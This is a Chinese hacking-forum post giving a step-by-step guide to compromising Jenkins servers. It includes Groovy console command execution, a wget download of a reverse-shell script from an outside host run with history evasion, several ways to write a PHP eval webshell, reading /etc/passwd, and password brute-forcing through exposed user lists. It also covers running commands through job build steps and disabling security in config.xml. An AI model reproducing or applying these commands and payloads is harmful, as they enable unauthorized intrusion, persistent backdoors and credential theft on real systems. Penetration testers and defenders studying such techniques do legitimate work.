搜索
查看: 507|回复: 0

Jenkins常规渗透方法

[复制链接]

1839

主题

2255

帖子

1万

积分

管理员

Rank: 9Rank: 9Rank: 9

积分
11913
发表于 2016-11-26 15:37:43 | 显示全部楼层 |阅读模式
大多安全工作者听到jenkins都会知道有个未授权的命令执行
但是如果Script页面要授权才能访问呢 或者你的用户没有Overall/RunScripts权限呢
抱着提出问题-->测试问题-->解决问题的思路有了这篇文章









由于版本众多 也不用下载本地测了 直接在内网找到六个





截止发稿 Jenkins新版本为(1.589)
一、 知其一的Jenkins未授权访问可执行命令
http://www.secpulse.com:8080/manage
http://www.secpulse.com:8080/script
默认是8080端口 未授权访问就是任意用户都能访问 都能执行命令


1) println "ifconfig -a".execute().text  执行一些系统命令
老外比较喜欢这样用:
  1. def sout = new StringBuffer(), serr = new StringBuffer()

  2. def proc = '[INSERT COMMAND]'.execute()

  3. proc.consumeProcessOutput(sout, serr)

  4. proc.waitForOrKill(1000)

  5. println "out> $sout err> $serr"
复制代码

2) 直接wget下载back.py反弹shell

  1. println "wget http://xxx.secpulse.com/tools/back.py -P /tmp/".execute().text

  2. println "python /tmp/back.py 10.1.1.111 8080".execute().text
复制代码

back.py里面已经有了HISTFILE代码,会自动去掉各种history记录,确保shell断掉的时候不会被记录到.bash_history里面
back.py不需要root权限


3) 不想反弹试试Terminal Plugin
可以搜索安装Terminal Plugin
二、不知其二之多种方式写shell
有时候其他端口有web,我们可以查看nginx/apache配置或者结合phpinfo写入webshell

尝试几次失败后开始翻阅Groovy  Script语法
Groovy is a weakly-typed scripting language based on Java.

1)Groovy既然是基于Java的弱类型语言 那么先稍微提提它的语法
  1. def name = 'Joe'

  2. println "Hello $name"

  3. //Hello Joe



  4. def name = 'Joe'

  5. println "Number of letters in $name is ${name.size( )}"

  6. //Number of letters in Joe is 3



  7. //Groovy I/O 文件读写


  8. 读文件

  9. text = new File("/tmp/back.py").getText();


  10. //eachLine -- 打开和读取文件的每一行

  11. new File("/tmp/back.py").eachLine {

  12. println it;

  13. }

  14. //readLines

  15. lineList = new File("/tmp/back.py").readLines();

  16. lineList.each {

  17. println it.toUpperCase();

  18. }



  19. write轻轻松松写文件

  20. new File("/tmp/1.php").write('Hello SecPulse');



  21. 多行写入

  22. new File("/tmp/1.php").write("""

  23. This is

  24. just a test file

  25. to play with

  26. """);
复制代码


2)几种写webshell的错误写法:
  1. println "echo \'<?php @eval($_POST[c6md])?>\' > /var/www/html/media.php".execute().text

  2. println "echo '<?php @eval(\$_POST[c6md])?>\' > /var/www/html/media.php ".execute().text

  3. new File("/tmp/1.php").write("<?php @eval($_POST[s3cpu1se]);?>");

  4. groovy.lang.MissingPropertyException: No such property: _POST for class: Script1

  5. new File("/tmp/1.php").write("<?php @eval($\_POST[s3cpu1se]);?>");

  6. new File("/tmp/1.php").write("<?php @eval(\$\_POST[s3cpu1se]);?>");
复制代码

3)脑洞开 多种写webshell方法
  1. ① wget写webshell

  2. println "wget http://shell.secpulse.com/data/t.txt -o /var/www/html/media.php".execute().text



  3. new File("/var/www/html/media.php").write('<?php @eval($_POST[s3cpu1se]);?>');



  4. def webshell = '<?php @eval($_POST[s3cpu1se]);?>'

  5. new File("/var/www/html/media.php").write("$webshell");



  6. ④追加法写webshell

  7. def execute(cmd) {

  8. def proc =  cmd.execute()

  9. proc.waitFor()

  10. }

  11. execute( [ 'bash', '-c', 'echo -n "<?php @eval($" > /usr/local/nginx_1119/html/media.php' ] )

  12. execute( [ 'bash', '-c', 'echo "_POST[s3cpu1se]);?>" >> /usr/local/nginx_1119/html/media.php' ] )

  13. //参数-n 不要在最后自动换行
复制代码


Result: 0 表示成功写入
Result: 1 表示目录不存在或者权限不足 写入失败
Result: 2 表示构造有异常 写入失败

Hudson(jenkins类似)找"脚本命令行"











执行Groovy代码,读取服务器本地/etc/passwd文件:

  1. try{

  2. text = new File("/etc/passwd").getText();

  3. out.print text

  4. } catch(Exception e){

  5. }
复制代码

三、高逼格的Powershell&msf
nishang是一个powershell脚本集 msf上面有jenkins对应的exploit 感觉都没必要
四、登录认证的突破
jenkins可以对每个用户分配不同的权限,如Overall/RunScripts或者Job/Configure权限


1)某些版本匿名用户可以访问asynchPeople 可爆破密码
(通常很多密码跟用户名一样或者是其他弱口令(top1000),尤其是内网)

//用户列表:包含所有已知“用户”,包括当前安全域中的登录ID和在变更记录的提交信的息里的人

所有构建(builds)
http://jenkins.secpulse.com:8080/view/All/builds
可以导出为XML
http:// jenkins.secpulse.com:8080/view/All/cc.xml
userContent(一般就一个readme):
http:// jenkins.secpulse.com:8080/userContent/
Computers:
http:// jenkins.secpulse.com:8080/computer/

2) 熟练的猜密码
根据这些用户名 熟练的猜密码 我们的目标就是要一个有命令执行权限的用户(最好是这样,但也不苛求)
有时候是域认证的用户 爆破立马触发各种邮件报警 显然就不理智 端详猜密码是个绝技~
3) 构造精准字典,来爆破
最好是构造精准的字典 也可以是top1000之类的弱口令

五、低权限用户命令执行突破
不小心猜了个用户 没有执行权限 但是有job查看和configure权限


  1. 新加一个Execute Shell添加command  (win平台用Execute Windows batch command)

  2. Cat /etc/passwd

  3. Apply

  4. 添加左上侧 立即构建

  5. Build History看到历史BuildId

  6. 右键

  7. 控制台输出

  8. http://jenkins.secpulse.com:8080/job/Job1/300/console

  9. 纯文本方式

  10. http://jenkins.secpulse.com:8080/job/Job1/300/consoleText
复制代码

















六、asynchPeople等不能访问时候的突破
快速定位用户有妙招
1) 如果jobs能访问的话 各种翻jobs 会看到启动用户










2) 如果不能 那么启用/user/xxx/暴力模式
如果存在











如果不存在








突破用户回到上述的四和五~
七、关于几个配置和加密
1) 根目录下的关键配置config.xml
① 如果配置不好的话 容易导致config.xml直接下载
http:// jenkins.secpulse.com:8080/config.xml
②[useSecurity]true[/useSecurity] 改为false的话就可以未授权访问了
2) 每个用户目录下面的config.xml
passHash使用了Java的强加密方式jbcrypt
pentest工作就是大部分自动化 快速找到安全短板 譬如st2,譬如弱口令,譬如本文的jenkins命令执行,快速突破进内网完成测试任务。安全运维人员则必须修补每一个缺口,重视每一块短板,紧跟每一次安全漏洞披露。



本帖子中包含更多资源

您需要 登录 才可以下载或查看,没有帐号?Join BUC

x
过段时间可能会取消签到功能了
您需要登录后才可以回帖 登录 | Join BUC

本版积分规则

Powered by Discuz!

© 2012-2015 Baiker Union of China.

快速回复 返回顶部 返回列表